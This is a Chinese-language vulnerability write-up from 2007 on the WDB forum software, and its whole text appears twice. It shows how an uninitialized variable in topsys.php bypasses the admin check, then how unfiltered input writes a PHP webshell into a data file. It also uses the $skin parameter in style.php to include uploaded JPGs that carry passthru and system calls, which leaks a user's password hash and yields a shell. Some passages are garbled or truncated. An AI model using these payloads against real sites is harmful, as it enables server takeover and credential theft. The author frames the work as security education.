WDB論壇存在多個(gè)嚴(yán)重漏洞
更新時(shí)間:2007年01月16日 00:00:00 作者:
===============================================
僅以此文送給我的好友Bytes,
并祝他和他的女友璐子能夠真的相愛一生,白頭偕老
===============================================
前言:
我在和很多網(wǎng)管談到WEB安全的時(shí)候,很多人告訴我WEB安全就是sql injection,“不就是在一個(gè)變量后面嵌入你的sql語(yǔ)句么,這個(gè)我也會(huì)”,這是我聽到最多的人們對(duì)WEB安全的認(rèn)識(shí),WEB安全難道僅僅是sql injection,當(dāng)然不是!sql injection只不過(guò)是冰山一角罷了。認(rèn)為注入就是WEB安全全部的人們阿,睜大你的眼睛,看我用實(shí)際行動(dòng)給你一擊響亮的耳光吧!
描述:
最近在讀WDB論壇,這個(gè)論壇很好看,風(fēng)格華美而且和LB5有一點(diǎn)相像,但是安全性實(shí)在是不敢恭維,如果我說(shuō)平均5個(gè)文件就有一個(gè)漏洞,那是一點(diǎn)都不夸張,雖然作者好像已經(jīng)有意的作了一些防范,但是過(guò)濾不是非常嚴(yán)格。導(dǎo)致惡意用戶或者非典型惡意用戶可以寫入自己的代碼,然后可以執(zhí)行自己語(yǔ)句進(jìn)而控制整個(gè)系統(tǒng)。
一、topsys.php全局變量未初始化導(dǎo)致控制整個(gè)論壇
1、漏洞分析
topsys.php是管理員用來(lái)集中管理論壇總制頂貼子的文件,這個(gè)文件可用來(lái)對(duì)論壇帖子實(shí)現(xiàn)總制頂,清空,刪除等操作, 就是這樣的小小的文件,由于編程人員對(duì)其中的個(gè)別變量沒(méi)有初始化,卻帶來(lái)了可以控制整個(gè)論壇,甚至整個(gè)控制系統(tǒng)的危害。
讓我們先看看,要如何繞開限制先,部分代碼如下:
=========codz begin===========
13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;}
14 //----讓增加的管理員有權(quán)管理!----------
15 if (file_exists("datafile/admin_user.php")) {
16 include("datafile/admin_user.php");
17 if ($admin_user && in_array($username,$admin_user)) {
18 $announceadmin=1;
19 }
20 }
21 //----讓增加的管理員有權(quán)管理!----------
22 $musia=0;
23 if ($announceadmin==1) $musia=1;
=========codz endz============
我們從第13行的檢查可以看出來(lái),他這段代碼就是為了判定是不是有管理員權(quán)限,如果有的話則設(shè)定$announceadmin變量為1,好,后面管理員沒(méi)忘記初始化一下$musia,然后檢查$announceadmin變量是不是為1,如果為1,再設(shè)定$musia變量為真。這里我們先不管,往后面看。
再來(lái)看一段代碼:
=========codz begin===========
150 if ($job=="write") {
151 if ($announceadmin!=1) {require("header.php");
152 echo "對(duì)不起,未登陸或者身份不正確,請(qǐng) <a href='javascript:history.back(1);'>返回檢查</a>";
153 require("footer.php");
154 exit;}
//后面進(jìn)行制頂操作......
=========codz endz============
程序是如何驗(yàn)證管理員身份呢?編程人員就憑借了一個(gè)值來(lái)進(jìn)行判斷。他這里檢查announceadmin變量是否為1,如果不為1,則報(bào)錯(cuò)說(shuō)身份不正確(不是管理員)。好了,回過(guò)頭去看一下,剛才那看似嚴(yán)密的驗(yàn)證,你想到什么了沒(méi)有?大家可能都發(fā)現(xiàn)了,那個(gè)用來(lái)檢查是否有管理員權(quán)限的值卻并沒(méi)有做初始化,那么如果我們直接構(gòu)造語(yǔ)句提交$announceadmin=1。我們就可以用管理員權(quán)限來(lái)發(fā)布、刪除制頂?shù)奶?。我們?lái)試試看,提交
http://bbs.target.com/topsys.php?announceadmin=1
我們已經(jīng)能看出來(lái)和剛才有什么不一樣了,多了管理員的管理模塊,好我們找個(gè)貼子制頂,提交URL如下:
http://bbs.target.com/topsys.php?announcea...tent=hello,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我們這里把第一個(gè)論壇的第27個(gè)貼子,標(biāo)題為"hello,this is Jambalaya"的貼子制頂了?;剀嚳纯?,哈哈,我們成功了。這里我們用相同的方法可以去刪除,清空總制頂?shù)馁N子,這里再去分析就有點(diǎn)浪費(fèi)時(shí)間了,大家自己看吧。高興一陣子后,想起來(lái)了,我們?cè)趺茨芸刂普麄€(gè)網(wǎng)站呢?HOHO~~真正的攻擊在這里呢......跟我來(lái)~~~~~
上面這些沒(méi)什么,無(wú)非就是能以管理員身份總制頂、清空和刪除帖子,其他的什么也做不了了,但我們卻成功的繞過(guò)了對(duì)管理員權(quán)限的驗(yàn)證,繞過(guò)之后的我們是與眾不同的,不信?呵呵,wait and see...
我們來(lái)看下面的代碼:
=========codz begin===========
165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php");
166 else $msg[0]="";
167
168 $content=stripslashes(safe_convert($content));
169 $title=stripslashes(safe_convert($title));
170 $title="".$title;
171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php
172 $new="$user|$title|$timestamp|$content|$member\n";
173
174 $oldcount=count($msg);
175 if ($oldcount>$msgg_max) {
176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg);
177 }
178
179 $old=implode("",$msg);
180 writetofile("datafile/topsys.php",$new.$old);
=========codz endz============
這些是我們得到管理員權(quán)限后可以看到的東西,讓我們看看,他首先檢查是不是存在datafile/topsys.php,這個(gè)文件是用來(lái)紀(jì)錄那些制頂?shù)馁N子的。好了,看看他都寫入了什么?writetofile("datafile/topsys.php",$new.$old)從這句可以看出,他將$new.$old寫入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那個(gè)safe_convert函數(shù)看著有點(diǎn)嚇人。但對(duì)安全的人來(lái)說(shuō),細(xì)心、耐力是不可以缺少的,否則所謂的好運(yùn)是不會(huì)主動(dòng)找到你的。為了不放過(guò)一個(gè)細(xì)節(jié),我們還是看一下這個(gè)函數(shù),看看是不是存在過(guò)濾不嚴(yán)。于是去global.php翻出這個(gè)函數(shù):
=========codz begin===========
837 function safe_convert($d) {
838 $d = str_replace("\t","",$d);
839 $d = str_replace("<","<",$d);
840 $d = str_replace(">",">",$d);
841 $d = str_replace("\r","<br>",$d);
842 $d = str_replace("\n","",$d);
843 $d = str_replace("|","│",$d);
844 $d = str_replace(" "," ",$d);
845 return $d;
846 }
=========codz endz============
看完之后,一身冷汗,過(guò)濾得很嚴(yán)嘛,幾個(gè)重要的字符基本上都被他消滅了??磥?lái)想從這里找到過(guò)濾不言的地方是不大可能了?;厝タ雌渌麕讉€(gè)變量,剩下的就一個(gè)$member了,上下文掃一眼。嗯,這個(gè)我們可以控制。我們就用這個(gè)值向文件里寫入我們自己的代碼。
喂!等一下!等一下!其實(shí)看到這里就可以開始寫攻擊方法了,但是我們打住一下。仔細(xì)看一下我們的代碼,和我的分析過(guò)程,其實(shí)這里有我們忽略的一點(diǎn),你注意到了么?沒(méi)有?重新來(lái)看一遍。
假設(shè)這里$member變量也被過(guò)濾了,我們還有什么方法?仔細(xì)看看,其實(shí)那個(gè)$title變量并沒(méi)有真正的被過(guò)濾,這里編程人員犯了一個(gè)嚴(yán)重的邏輯錯(cuò)誤。他在一開始就對(duì)$title進(jìn)行過(guò)濾是沒(méi)錯(cuò)的,但是他卻在過(guò)濾之后重新給$title賦值,這就不對(duì)了,來(lái)看看這句:"if($filename) $title=$title."&filename=".$filename"。他在對(duì)title嚴(yán)格的過(guò)濾后,又給title這個(gè)變量重新賦入新值,而這個(gè)這個(gè)新值并沒(méi)有經(jīng)過(guò)任何過(guò)濾。那么我們用這個(gè)新值完全可以寫入自己的代碼。就好像給一個(gè)防御者一把堅(jiān)實(shí)的盾牌之后,在盾牌中間挖了一個(gè)大洞,然后對(duì)弓箭手說(shuō):"好了,你們可以放箭了"。
從這里可以看出任何一個(gè)細(xì)節(jié)的不注意,都會(huì)讓自己的防御土崩瓦解。
2、攻擊方法
該分析都分析完了,"君子動(dòng)手不動(dòng)口",來(lái),來(lái),上手了~~~~
我們既然可以向里面寫入代碼,那我們寫些什么呢?0.001秒的思考之后,我決定寫入一個(gè)shell進(jìn)去。我們要一次性寫入所有東西。先注冊(cè)一個(gè)用戶:
username:Jambalaya
password: itaq.org
然后發(fā)個(gè)帖子,標(biāo)題是"我test一下哈",內(nèi)容是"我是Jambalaya,我來(lái)自www.itaq.org,大家有工夫過(guò)來(lái)玩啊"。哈哈,提交下面的URL:
http://bbs.target.com/topsys.php?announcea...#036;jam);?>
然后直接訪問(wèn)http://bbs.target.com/topsys.php?jam=dir,看看,怎么樣?一個(gè)shell做成了~~~~
dir一下看看里面的目錄,看到user_jkljkl是保存用戶的目錄,提交URL:
' target='_blank'>http://bbs.target.com/user_jkljkl/用戶名,?....沒(méi)兔藶肓?P
不過(guò)這樣太容易被發(fā)現(xiàn)了,你可以先把對(duì)方的總制頂帖子卸下來(lái),然后再制頂上去,順便寫一個(gè)shell到里面
那個(gè)title變量沒(méi)過(guò)濾全的應(yīng)該怎么做?大家自己試試看,畢竟,看懂和理解是兩碼事,理解和會(huì)應(yīng)用又是兩碼事,在IT安全論壇我們有一句口頭禪,是好友SystEm32帶來(lái)的,我很喜歡,這里送給大家:"如果你沒(méi)有實(shí)踐過(guò),那么對(duì)不起,你沒(méi)有資格發(fā)言!"
二、Style.php文件未作任何過(guò)濾
下面我們來(lái)看看style.php文件,該文件其中變量并沒(méi)有經(jīng)過(guò)任何過(guò)濾,導(dǎo)致惡意攻擊者可以執(zhí)行自己的惡意代碼,進(jìn)而可以控制整個(gè)網(wǎng)站。
測(cè)試環(huán)境:iis5.0+windows2000
1、具體漏洞
描述:
我們先來(lái)看一下style.php的相關(guān)代碼:
=========codz begin===========
<?
if (empty($skin)) $skin=水晶經(jīng)典;
if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);
else include("datafile/style/水晶經(jīng)典");
=========codz ends=============
代碼本身的原意是對(duì)論壇的外觀風(fēng)格進(jìn)行設(shè)置,如果skin這個(gè)變量不為空,那么設(shè)置skin。如果datafile/style/下的skin這個(gè)文件存在,則include這個(gè)文件。我們注意到代碼中skin這個(gè)變量并沒(méi)有作任何檢查,也就是說(shuō)我們可以做任何操作,或者用"../","./"來(lái)跳轉(zhuǎn)到任何目錄或者include我們指定的任何文件。
那么我們現(xiàn)在怎么做呢?我們知道include可以用來(lái)解釋執(zhí)行php文件代碼,即使它是以圖片形式保存的,那么后面的就簡(jiǎn)單多了,首先要上傳一個(gè)圖片,WDB版本不同上傳的方法也不同,有的漢化版本可以上傳頭像,有的只能上傳附件,我用的這個(gè)水晶論壇只可以上傳附件,而且還要發(fā)一定量的貼子才可以。在瘋狂發(fā)貼后,發(fā)現(xiàn)終于可以上傳附件了。上傳一個(gè)附件,看到論壇將其保存為upload/forum1_f_23_978374564.jpg,現(xiàn)在可能有的朋友想在jpg中寫入一個(gè)PHP木馬,然后用include來(lái)解釋執(zhí)行.呵呵,這是行不通地.include的確可以解釋jpg中的代碼,但是如果你他不能去在問(wèn)號(hào)后面接受GET傳送來(lái)的變量.
我們可以直接作一個(gè)探針來(lái)尋找保存user的目錄,直接在jpg文件中寫入<?passthru("dir");?>,在url中直接請(qǐng)求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,然后靠返回來(lái)的值,得到絕對(duì)路徑,如我得到的絕對(duì)路徑是F:\myhome\wdb\datafile,順便還得到了里面的所有的文件,再上傳一個(gè)圖片,里面寫到<?passthru("dir f:\\myhome\\wdb")?>,再次在URL中請(qǐng)求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,返回來(lái)的就是f:\myhome\wdb中的目錄和文件,從中找到user目錄,我找到的是user_jkljkl,在URL中提交請(qǐng)求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我們直接就能看見Jambalaya的密碼了,得到如下:
Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|
1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13
Jambalaya的密碼就是EED8CDC400DFD4EC85DFF70A170066B7
下面我來(lái)弄一個(gè)shell,在另一個(gè)文件中寫到<?system($a);?>,保存成jpg文件上傳,路徑是upload/forum1_f_24_978374654.jpg,在上傳一個(gè)文件內(nèi)容是<?rename "f:\\myhome\\wdb\\upload\\forum1_f_24_978374654.jpg","jam.php"?>的圖片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接調(diào)用http://192.168.0.13/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_25_978374773.jpg,這樣的目的就是讓它執(zhí)行我們的指令直接更改后綴名為php,這樣成功調(diào)用我們的語(yǔ)句得到了一個(gè)shell.
三、收尾:
到這里文章就寫完了,準(zhǔn)備做收尾工作,還是那句老話:不希望大家去攻擊別人。
這里必須要強(qiáng)調(diào)的是論壇漏洞的存在,危害的不僅僅是論壇本身,而是整個(gè)系統(tǒng)安全!
筆者較早前就發(fā)現(xiàn)了這幾個(gè)漏洞,剛開始只是在itaq.org的內(nèi)部版和大家交流,并沒(méi)有打算公布。前不久,遇到了一個(gè)叫l(wèi)ovehacker的前輩,他告訴我只有不斷的交流才能不斷的提高,那些敝帚自珍,研究東西后不舍得與別人共享的人是無(wú)法提高的。他把自己發(fā)現(xiàn)服務(wù)器漏洞的經(jīng)驗(yàn)無(wú)私的拿出來(lái)共享。他的共享精神讓我無(wú)地自容,這里感謝lovehacker的教誨。
行文倉(cāng)促,技術(shù)有限,如果文中有什么錯(cuò)誤,還希望高手來(lái)www.itaq.org當(dāng)面指正,不勝感激。
僅以此文送給我的好友Bytes,
并祝他和他的女友璐子能夠真的相愛一生,白頭偕老
===============================================
前言:
我在和很多網(wǎng)管談到WEB安全的時(shí)候,很多人告訴我WEB安全就是sql injection,“不就是在一個(gè)變量后面嵌入你的sql語(yǔ)句么,這個(gè)我也會(huì)”,這是我聽到最多的人們對(duì)WEB安全的認(rèn)識(shí),WEB安全難道僅僅是sql injection,當(dāng)然不是!sql injection只不過(guò)是冰山一角罷了。認(rèn)為注入就是WEB安全全部的人們阿,睜大你的眼睛,看我用實(shí)際行動(dòng)給你一擊響亮的耳光吧!
描述:
最近在讀WDB論壇,這個(gè)論壇很好看,風(fēng)格華美而且和LB5有一點(diǎn)相像,但是安全性實(shí)在是不敢恭維,如果我說(shuō)平均5個(gè)文件就有一個(gè)漏洞,那是一點(diǎn)都不夸張,雖然作者好像已經(jīng)有意的作了一些防范,但是過(guò)濾不是非常嚴(yán)格。導(dǎo)致惡意用戶或者非典型惡意用戶可以寫入自己的代碼,然后可以執(zhí)行自己語(yǔ)句進(jìn)而控制整個(gè)系統(tǒng)。
一、topsys.php全局變量未初始化導(dǎo)致控制整個(gè)論壇
1、漏洞分析
topsys.php是管理員用來(lái)集中管理論壇總制頂貼子的文件,這個(gè)文件可用來(lái)對(duì)論壇帖子實(shí)現(xiàn)總制頂,清空,刪除等操作, 就是這樣的小小的文件,由于編程人員對(duì)其中的個(gè)別變量沒(méi)有初始化,卻帶來(lái)了可以控制整個(gè)論壇,甚至整個(gè)控制系統(tǒng)的危害。
讓我們先看看,要如何繞開限制先,部分代碼如下:
=========codz begin===========
13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;}
14 //----讓增加的管理員有權(quán)管理!----------
15 if (file_exists("datafile/admin_user.php")) {
16 include("datafile/admin_user.php");
17 if ($admin_user && in_array($username,$admin_user)) {
18 $announceadmin=1;
19 }
20 }
21 //----讓增加的管理員有權(quán)管理!----------
22 $musia=0;
23 if ($announceadmin==1) $musia=1;
=========codz endz============
我們從第13行的檢查可以看出來(lái),他這段代碼就是為了判定是不是有管理員權(quán)限,如果有的話則設(shè)定$announceadmin變量為1,好,后面管理員沒(méi)忘記初始化一下$musia,然后檢查$announceadmin變量是不是為1,如果為1,再設(shè)定$musia變量為真。這里我們先不管,往后面看。
再來(lái)看一段代碼:
=========codz begin===========
150 if ($job=="write") {
151 if ($announceadmin!=1) {require("header.php");
152 echo "對(duì)不起,未登陸或者身份不正確,請(qǐng) <a href='javascript:history.back(1);'>返回檢查</a>";
153 require("footer.php");
154 exit;}
//后面進(jìn)行制頂操作......
=========codz endz============
程序是如何驗(yàn)證管理員身份呢?編程人員就憑借了一個(gè)值來(lái)進(jìn)行判斷。他這里檢查announceadmin變量是否為1,如果不為1,則報(bào)錯(cuò)說(shuō)身份不正確(不是管理員)。好了,回過(guò)頭去看一下,剛才那看似嚴(yán)密的驗(yàn)證,你想到什么了沒(méi)有?大家可能都發(fā)現(xiàn)了,那個(gè)用來(lái)檢查是否有管理員權(quán)限的值卻并沒(méi)有做初始化,那么如果我們直接構(gòu)造語(yǔ)句提交$announceadmin=1。我們就可以用管理員權(quán)限來(lái)發(fā)布、刪除制頂?shù)奶?。我們?lái)試試看,提交
http://bbs.target.com/topsys.php?announceadmin=1
我們已經(jīng)能看出來(lái)和剛才有什么不一樣了,多了管理員的管理模塊,好我們找個(gè)貼子制頂,提交URL如下:
http://bbs.target.com/topsys.php?announcea...tent=hello,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我們這里把第一個(gè)論壇的第27個(gè)貼子,標(biāo)題為"hello,this is Jambalaya"的貼子制頂了?;剀嚳纯?,哈哈,我們成功了。這里我們用相同的方法可以去刪除,清空總制頂?shù)馁N子,這里再去分析就有點(diǎn)浪費(fèi)時(shí)間了,大家自己看吧。高興一陣子后,想起來(lái)了,我們?cè)趺茨芸刂普麄€(gè)網(wǎng)站呢?HOHO~~真正的攻擊在這里呢......跟我來(lái)~~~~~
上面這些沒(méi)什么,無(wú)非就是能以管理員身份總制頂、清空和刪除帖子,其他的什么也做不了了,但我們卻成功的繞過(guò)了對(duì)管理員權(quán)限的驗(yàn)證,繞過(guò)之后的我們是與眾不同的,不信?呵呵,wait and see...
我們來(lái)看下面的代碼:
=========codz begin===========
165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php");
166 else $msg[0]="";
167
168 $content=stripslashes(safe_convert($content));
169 $title=stripslashes(safe_convert($title));
170 $title="".$title;
171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php
172 $new="$user|$title|$timestamp|$content|$member\n";
173
174 $oldcount=count($msg);
175 if ($oldcount>$msgg_max) {
176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg);
177 }
178
179 $old=implode("",$msg);
180 writetofile("datafile/topsys.php",$new.$old);
=========codz endz============
這些是我們得到管理員權(quán)限后可以看到的東西,讓我們看看,他首先檢查是不是存在datafile/topsys.php,這個(gè)文件是用來(lái)紀(jì)錄那些制頂?shù)馁N子的。好了,看看他都寫入了什么?writetofile("datafile/topsys.php",$new.$old)從這句可以看出,他將$new.$old寫入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那個(gè)safe_convert函數(shù)看著有點(diǎn)嚇人。但對(duì)安全的人來(lái)說(shuō),細(xì)心、耐力是不可以缺少的,否則所謂的好運(yùn)是不會(huì)主動(dòng)找到你的。為了不放過(guò)一個(gè)細(xì)節(jié),我們還是看一下這個(gè)函數(shù),看看是不是存在過(guò)濾不嚴(yán)。于是去global.php翻出這個(gè)函數(shù):
=========codz begin===========
837 function safe_convert($d) {
838 $d = str_replace("\t","",$d);
839 $d = str_replace("<","<",$d);
840 $d = str_replace(">",">",$d);
841 $d = str_replace("\r","<br>",$d);
842 $d = str_replace("\n","",$d);
843 $d = str_replace("|","│",$d);
844 $d = str_replace(" "," ",$d);
845 return $d;
846 }
=========codz endz============
看完之后,一身冷汗,過(guò)濾得很嚴(yán)嘛,幾個(gè)重要的字符基本上都被他消滅了??磥?lái)想從這里找到過(guò)濾不言的地方是不大可能了?;厝タ雌渌麕讉€(gè)變量,剩下的就一個(gè)$member了,上下文掃一眼。嗯,這個(gè)我們可以控制。我們就用這個(gè)值向文件里寫入我們自己的代碼。
喂!等一下!等一下!其實(shí)看到這里就可以開始寫攻擊方法了,但是我們打住一下。仔細(xì)看一下我們的代碼,和我的分析過(guò)程,其實(shí)這里有我們忽略的一點(diǎn),你注意到了么?沒(méi)有?重新來(lái)看一遍。
假設(shè)這里$member變量也被過(guò)濾了,我們還有什么方法?仔細(xì)看看,其實(shí)那個(gè)$title變量并沒(méi)有真正的被過(guò)濾,這里編程人員犯了一個(gè)嚴(yán)重的邏輯錯(cuò)誤。他在一開始就對(duì)$title進(jìn)行過(guò)濾是沒(méi)錯(cuò)的,但是他卻在過(guò)濾之后重新給$title賦值,這就不對(duì)了,來(lái)看看這句:"if($filename) $title=$title."&filename=".$filename"。他在對(duì)title嚴(yán)格的過(guò)濾后,又給title這個(gè)變量重新賦入新值,而這個(gè)這個(gè)新值并沒(méi)有經(jīng)過(guò)任何過(guò)濾。那么我們用這個(gè)新值完全可以寫入自己的代碼。就好像給一個(gè)防御者一把堅(jiān)實(shí)的盾牌之后,在盾牌中間挖了一個(gè)大洞,然后對(duì)弓箭手說(shuō):"好了,你們可以放箭了"。
從這里可以看出任何一個(gè)細(xì)節(jié)的不注意,都會(huì)讓自己的防御土崩瓦解。
2、攻擊方法
該分析都分析完了,"君子動(dòng)手不動(dòng)口",來(lái),來(lái),上手了~~~~
我們既然可以向里面寫入代碼,那我們寫些什么呢?0.001秒的思考之后,我決定寫入一個(gè)shell進(jìn)去。我們要一次性寫入所有東西。先注冊(cè)一個(gè)用戶:
username:Jambalaya
password: itaq.org
然后發(fā)個(gè)帖子,標(biāo)題是"我test一下哈",內(nèi)容是"我是Jambalaya,我來(lái)自www.itaq.org,大家有工夫過(guò)來(lái)玩啊"。哈哈,提交下面的URL:
http://bbs.target.com/topsys.php?announcea...#036;jam);?>
然后直接訪問(wèn)http://bbs.target.com/topsys.php?jam=dir,看看,怎么樣?一個(gè)shell做成了~~~~
dir一下看看里面的目錄,看到user_jkljkl是保存用戶的目錄,提交URL:
' target='_blank'>http://bbs.target.com/user_jkljkl/用戶名,?....沒(méi)兔藶肓?P
不過(guò)這樣太容易被發(fā)現(xiàn)了,你可以先把對(duì)方的總制頂帖子卸下來(lái),然后再制頂上去,順便寫一個(gè)shell到里面
那個(gè)title變量沒(méi)過(guò)濾全的應(yīng)該怎么做?大家自己試試看,畢竟,看懂和理解是兩碼事,理解和會(huì)應(yīng)用又是兩碼事,在IT安全論壇我們有一句口頭禪,是好友SystEm32帶來(lái)的,我很喜歡,這里送給大家:"如果你沒(méi)有實(shí)踐過(guò),那么對(duì)不起,你沒(méi)有資格發(fā)言!"
二、Style.php文件未作任何過(guò)濾
下面我們來(lái)看看style.php文件,該文件其中變量并沒(méi)有經(jīng)過(guò)任何過(guò)濾,導(dǎo)致惡意攻擊者可以執(zhí)行自己的惡意代碼,進(jìn)而可以控制整個(gè)網(wǎng)站。
測(cè)試環(huán)境:iis5.0+windows2000
1、具體漏洞
描述:
我們先來(lái)看一下style.php的相關(guān)代碼:
=========codz begin===========
<?
if (empty($skin)) $skin=水晶經(jīng)典;
if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);
else include("datafile/style/水晶經(jīng)典");
=========codz ends=============
代碼本身的原意是對(duì)論壇的外觀風(fēng)格進(jìn)行設(shè)置,如果skin這個(gè)變量不為空,那么設(shè)置skin。如果datafile/style/下的skin這個(gè)文件存在,則include這個(gè)文件。我們注意到代碼中skin這個(gè)變量并沒(méi)有作任何檢查,也就是說(shuō)我們可以做任何操作,或者用"../","./"來(lái)跳轉(zhuǎn)到任何目錄或者include我們指定的任何文件。
那么我們現(xiàn)在怎么做呢?我們知道include可以用來(lái)解釋執(zhí)行php文件代碼,即使它是以圖片形式保存的,那么后面的就簡(jiǎn)單多了,首先要上傳一個(gè)圖片,WDB版本不同上傳的方法也不同,有的漢化版本可以上傳頭像,有的只能上傳附件,我用的這個(gè)水晶論壇只可以上傳附件,而且還要發(fā)一定量的貼子才可以。在瘋狂發(fā)貼后,發(fā)現(xiàn)終于可以上傳附件了。上傳一個(gè)附件,看到論壇將其保存為upload/forum1_f_23_978374564.jpg,現(xiàn)在可能有的朋友想在jpg中寫入一個(gè)PHP木馬,然后用include來(lái)解釋執(zhí)行.呵呵,這是行不通地.include的確可以解釋jpg中的代碼,但是如果你他不能去在問(wèn)號(hào)后面接受GET傳送來(lái)的變量.
我們可以直接作一個(gè)探針來(lái)尋找保存user的目錄,直接在jpg文件中寫入<?passthru("dir");?>,在url中直接請(qǐng)求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,然后靠返回來(lái)的值,得到絕對(duì)路徑,如我得到的絕對(duì)路徑是F:\myhome\wdb\datafile,順便還得到了里面的所有的文件,再上傳一個(gè)圖片,里面寫到<?passthru("dir f:\\myhome\\wdb")?>,再次在URL中請(qǐng)求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,返回來(lái)的就是f:\myhome\wdb中的目錄和文件,從中找到user目錄,我找到的是user_jkljkl,在URL中提交請(qǐng)求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我們直接就能看見Jambalaya的密碼了,得到如下:
Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|
1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13
Jambalaya的密碼就是EED8CDC400DFD4EC85DFF70A170066B7
下面我來(lái)弄一個(gè)shell,在另一個(gè)文件中寫到<?system($a);?>,保存成jpg文件上傳,路徑是upload/forum1_f_24_978374654.jpg,在上傳一個(gè)文件內(nèi)容是<?rename "f:\\myhome\\wdb\\upload\\forum1_f_24_978374654.jpg","jam.php"?>的圖片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接調(diào)用http://192.168.0.13/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_25_978374773.jpg,這樣的目的就是讓它執(zhí)行我們的指令直接更改后綴名為php,這樣成功調(diào)用我們的語(yǔ)句得到了一個(gè)shell.
三、收尾:
到這里文章就寫完了,準(zhǔn)備做收尾工作,還是那句老話:不希望大家去攻擊別人。
這里必須要強(qiáng)調(diào)的是論壇漏洞的存在,危害的不僅僅是論壇本身,而是整個(gè)系統(tǒng)安全!
筆者較早前就發(fā)現(xiàn)了這幾個(gè)漏洞,剛開始只是在itaq.org的內(nèi)部版和大家交流,并沒(méi)有打算公布。前不久,遇到了一個(gè)叫l(wèi)ovehacker的前輩,他告訴我只有不斷的交流才能不斷的提高,那些敝帚自珍,研究東西后不舍得與別人共享的人是無(wú)法提高的。他把自己發(fā)現(xiàn)服務(wù)器漏洞的經(jīng)驗(yàn)無(wú)私的拿出來(lái)共享。他的共享精神讓我無(wú)地自容,這里感謝lovehacker的教誨。
行文倉(cāng)促,技術(shù)有限,如果文中有什么錯(cuò)誤,還希望高手來(lái)www.itaq.org當(dāng)面指正,不勝感激。
相關(guān)文章
一個(gè)意想不到的注入點(diǎn)發(fā)現(xiàn)過(guò)程
一個(gè)意想不到的注入點(diǎn)發(fā)現(xiàn)過(guò)程...2007-01-01

